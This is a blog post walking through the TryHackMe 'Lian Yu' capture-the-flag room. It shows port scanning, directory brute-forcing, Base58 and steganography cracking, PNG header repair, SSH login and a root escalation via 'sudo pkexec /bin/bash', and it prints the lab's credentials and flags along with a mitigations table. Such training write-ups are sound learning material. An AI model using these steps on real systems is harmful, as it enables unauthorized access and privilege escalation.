DEV Community

Farhan Hussain
Farhan Hussain

Posted on

Someone Corrupted a PNG on Purpose — I Had to Fix It to Get the Password — Lian Yu (TryHackMe)

Platform: TryHackMe · Difficulty: Medium · Category: Steganography / Base58 Encoding / PNG Magic Byte Repair

Introduction

No brute force of a login form, no SQLi, no upload bypass. Lian Yu — the Arrow-themed island where Oliver Queen honed his skills — hides its credentials in increasingly elaborate places instead: white text on a white background, a custom file extension nobody would guess without a clue, a Base58-encoded password, a steganography brute force, and a PNG file with its magic bytes deliberately smashed. It rewards patient, methodical enumeration over speed, and it's the most puzzle-box-style machine I've hit in this series so far.

Recon

Full-range sweep with RustScan, Nmap for service and version fingerprinting:

rustscan -a 10.48.156.154 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
21/tcp FTP vsftpd 3.0.2
22/tcp SSH OpenSSH 6.7p1 Debian 5+deb8u8
80/tcp HTTP Apache (title: Purgatory)
111/tcp RPC rpcbind 2-4
37187/tcp RPC status RPC #100024

Five ports — more interesting than the usual two. Anonymous FTP login was tried immediately and blocked:

ftp 10.48.156.154
# anonymous → 530 Permission denied.
Enter fullscreen mode Exit fullscreen mode

FTP requires credentials. The web server's title is "Purgatory" — thematic, and a clue to keep in mind. RPC ports 111 and 37187 turned out to be irrelevant to the attack path.

Initial Feroxbuster scan with standard extensions:

feroxbuster -u http://10.48.156.154 \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,txt,html
Enter fullscreen mode Exit fullscreen mode
# output (relevant hits only)
301  http://10.48.156.154/island        # ^^^ key directory
200  http://10.48.156.154/island/index.html
301  http://10.48.156.154/island/2100   # ^^^ deeper
200  http://10.48.156.154/island/2100/index.html
Enter fullscreen mode Exit fullscreen mode

Navigating to /island/ shows what looks like a single paragraph of in-character text. Ctrl+A to select all — or a glance at the page source — reveals a word rendered in white text against a white background:

The Code Word is:
vigilante
Enter fullscreen mode Exit fullscreen mode

Invisible to a casual visitor. Visible to anyone who reads the source. vigilante becomes the FTP username, though that isn't obvious yet.

The page at /island/2100/ contains an embedded (unavailable) YouTube video and a single HTML comment:

<!-- you can avail your .ticket here but how? -->
Enter fullscreen mode Exit fullscreen mode

The .ticket extension is non-standard — nothing would enumerate it by default. This is the box explicitly telling me what to add to Feroxbuster's extension list.

Re-running Feroxbuster on /island/2100/ with .ticket added:

feroxbuster -u http://10.48.156.154/island/2100 \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,txt,html,.ticket
Enter fullscreen mode Exit fullscreen mode
# output
200  http://10.48.156.154/island/2100/green_arrow.ticket   # ^^^ found it
Enter fullscreen mode Exit fullscreen mode

Contents of green_arrow.ticket:

RTy8yhBQdscX
Enter fullscreen mode Exit fullscreen mode

Not plaintext, not hex, not Base64 (wrong character set). Base58 — the encoding used by Bitcoin addresses, distinguishable because it omits 0, O, I, and l to prevent visual confusion. Decoded:

!#th3h00d
Enter fullscreen mode Exit fullscreen mode

FTP password confirmed.

Foothold

Combining the username found in white text (vigilante) with the decoded ticket password (!#th3h00d):

ftp 10.48.156.154
# Name: vigilante
# Password: !#th3h00d
# 230 Login successful.
Enter fullscreen mode Exit fullscreen mode

Three files in the FTP root:

-rw-r--r--  Leave_me_alone.png   (511 KB)
-rw-r--r--  Queen's_Gambit.png   (537 KB)
-rw-r--r--  aa.jpg               (186 KB)
Enter fullscreen mode Exit fullscreen mode

All three downloaded. aa.jpg shows a soldier, Queen's_Gambit.png shows a ship. Leave_me_alone.png refuses to open — the file is corrupted.

steghide embeds data in JPEG/BMP/WAV files behind a passphrase; stegseek brute forces it. Running stegseek against aa.jpg:

stegseek --crack aa.jpg /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode
# output
[i] Found passphrase: "password"
[i] Original filename: "ss.zip"
[i] Extracting to "aa.jpg.out"
Enter fullscreen mode Exit fullscreen mode

Passphrase: password. The hidden payload is a zip archive named ss.zip.

unzip ss.zip
Enter fullscreen mode Exit fullscreen mode

Two files emerge: passwd.txt (flavour text, no actionable credentials) and shado, which contains a single string: M3tahuman.

Leave_me_alone.png wouldn't open, and exiftool confirmed why:

exiftool Leave_me_alone.png
Enter fullscreen mode Exit fullscreen mode
Error: File format error
Enter fullscreen mode Exit fullscreen mode

Inspecting the raw hex of the file header:

Corrupt:  58 45 6F AE 0A 0D 1A 0A ...
Correct:  89 50 4E 47 0D 0A 1A 0A ...  (.PNG)
Enter fullscreen mode Exit fullscreen mode

PNG files must begin with the signature 89 50 4E 47 0D 0A 1A 0A. This file's first four bytes had been deliberately overwritten, breaking the signature and preventing any image viewer from opening it. Fixing the header in a hex editor:

Before: 58 45 6F AE 0A 0D 1A 0A
After:  89 50 4E 47 0D 0A 1A 0A
Enter fullscreen mode Exit fullscreen mode

The repaired file opened as a valid PNG image, displaying the message:

Just leave me alone here is what you want
Password
Enter fullscreen mode Exit fullscreen mode

The image confirms M3tahuman (extracted from shado) is the SSH password.

Shell / Access

Two SSH usernames were known from context — vigilante (from the web page) and slade (from the Arrow lore and FTP filenames). vigilante failed; slade with password M3tahuman connected cleanly:

ssh slade@10.48.156.154
Enter fullscreen mode Exit fullscreen mode
slade@LianYu:~$
Enter fullscreen mode Exit fullscreen mode
cat user.txt
Enter fullscreen mode Exit fullscreen mode
THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T}
                        --Felicity Smoak
Enter fullscreen mode Exit fullscreen mode

Escalation

sudo -l
Enter fullscreen mode Exit fullscreen mode
User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
Enter fullscreen mode Exit fullscreen mode

PolicyKit's pkexec is designed to let an authorised user run a command as another user, similar to sudo. Granted via sudoers without restriction on which program pkexec can itself execute, it becomes a direct path to a root shell. Note this entry uses PASSWD rather than NOPASSWD — slade's own SSH password (M3tahuman) is required to authenticate the sudo call.

sudo pkexec /bin/bash
Enter fullscreen mode Exit fullscreen mode
# prompt for slade's password: M3tahuman
root@LianYu:~#
Enter fullscreen mode Exit fullscreen mode
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode
Mission accomplished

You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE.

THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D}
                                                                      --DEATHSTROKE
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. White-text hidden word at /island/ → FTP username vigilante
  2. HTML comment at /island/2100/ → .ticket extension clue
  3. Feroxbuster with .ticket → green_arrow.ticket → Base58 decoded to FTP password !#th3h00d
  4. FTP login as vigilante → three image files downloaded
  5. Stegseek on aa.jpg (passphrase: password) → ss.zip → shado file → password M3tahuman
  6. PNG magic byte repair on Leave_me_alone.png → image confirmed M3tahuman as SSH password
  7. SSH as slade → user flag
  8. sudo pkexec /bin/bash → root shell → root flag

Rabbit Holes

vigilante as a password. The word felt like a password the moment it appeared in white text. Anonymous FTP was already blocked, so the obvious next guess was trying vigilante as both username and password for FTP — no luck. It was the username, with the password buried several more steps down the chain. The box's main misdirection: give you half a credential early and make you work for the other half.

vigilante as an SSH login. After decoding M3tahuman from the zip, the first SSH attempt used vigilante as the username, since it was the known account name from the web page. That failed — vigilante doesn't appear to have a system account with password auth enabled. Switching to slade worked immediately.

Queen's_Gambit.png steghide dead end. This file was run through stegseek and steghide as well. It appeared to contain no hidden data, or at least nothing extractable with rockyou.txt as the passphrase list. The intended path runs only through aa.jpg and Leave_me_alone.png.

Flags

Flag Value Location
User THM{P30P7E_K33P_53CRET5__C0MPUT3R5_D0N'T} /home/slade/user.txt
Root THM{MY_W0RD_I5_MY_B0ND_IF_I_ACC3PT_YOUR_CONTRACT_THEN_IT_WILL_BE_COMPL3TED_OR_I'LL_BE_D34D} /root/root.txt

Mitigations

Vulnerability Severity Mitigation
Credentials hidden in white-on-white text Medium Never embed credentials or hints in HTML, even "invisible" ones; source code is always readable
FTP accessible with guessable credentials High Disable FTP entirely if not needed; if required, enforce strong passwords and restrict by IP
Sensitive files served over FTP High Never store credential-bearing files on network-accessible servers; restrict FTP directories strictly
Password hidden in steganographic zip with a weak passphrase High If steganography must be used, pair it with a strong, unique passphrase
Corrupted PNG concealing a password hint Medium Security through obscurity is not security — file header manipulation delays but does not prevent discovery
sudo pkexec /bin/bash allowed Critical Never grant unrestricted pkexec via sudoers; restrict it to specific, non-shell-spawning operations if required at all

Key Takeaway

Enumeration isn't just running the same tools with the same flags every time. The key step here was adding .ticket to Feroxbuster's extension list based on a clue buried in an HTML comment. Paying attention to what the target is telling you — not just what your tools return by default — is what separates a methodical tester from one who gives up at the first dead end.


Room: TryHackMe — Lian Yu

Top comments (0)